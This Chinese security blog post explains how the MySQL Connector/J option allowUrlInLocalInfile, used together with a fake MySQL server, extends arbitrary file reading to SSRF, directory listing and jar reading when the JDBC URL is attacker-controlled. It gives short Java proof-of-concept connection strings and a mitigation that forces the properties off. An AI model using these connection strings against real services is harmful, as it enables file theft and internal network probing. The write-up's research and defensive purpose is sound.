前言
allowUrlInLocalInfile非默认开启项,场景有限。
JDBC连接串可控,但没法利用反序列化的时候可以试试。
只能读文件的时候也可以试试,万一开了呢。
有关MySQL Fake Server
https://github.com/fnmsd/MySQL_Fake_Server
基于https://github.com/waldiTM/python-mysqlproto项目修改而来。
用于安全测试过程中MySQL客户端任意文件读取及Java反序列化的利用。
6月1日增加了大文件读取的支持,可读取二进制文件,可自动保存文件,目前测试中最大读了50MB的ysoserial,MD5不变,可正常使用。
其他的内容看项目的更新日志吧。
正文
改MySQL Fake Server的时候发现,MySQL JDBC Connector的com.mysql.cj.protocol.a.sendFileToServer
方法中,存在一个对allowUrlInLocalInfile
属性的判断,如果为true,那么就会使用URL类来加载我们提供的路径,这时候就可以使用其他URL类支持的协议了。
在文档https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html中可以看到,从3.1.4开始就支持这个选项了,不过默认是false。
jdk1.8u20下URL支持协议:http/https/ftp/file/jar/mailto/netdoc(可在sun.net.www.protocol中看到)
所以在可控连接串的情况下,除了读取本地文件、反序列化,还可以将其当做有回显的GET型SSRF使用、列目录使用。
import java.sql.Connection;
import java.sql.Driver;
import java.sql.DriverManager;
import java.util.Properties;
public class test1 {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_http://www.baidu.com&allowUrlInLocalInfile=true";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
效果如下:
访问https://www.baidu.com,可以获取到回显内容
访问http://127.0.01:8083时,可正常收到请求
可以使用file协议列目录:
使用jar协议读取jar包中的内容:
有关修复
原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_c:/windows/system32/cmd.exe&maxAllowedPacket=111111&allowLoadLocalInfile=true";
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
Connection conn = DriverManager.getConnection(DB_URL,properties);
结尾
emmmmm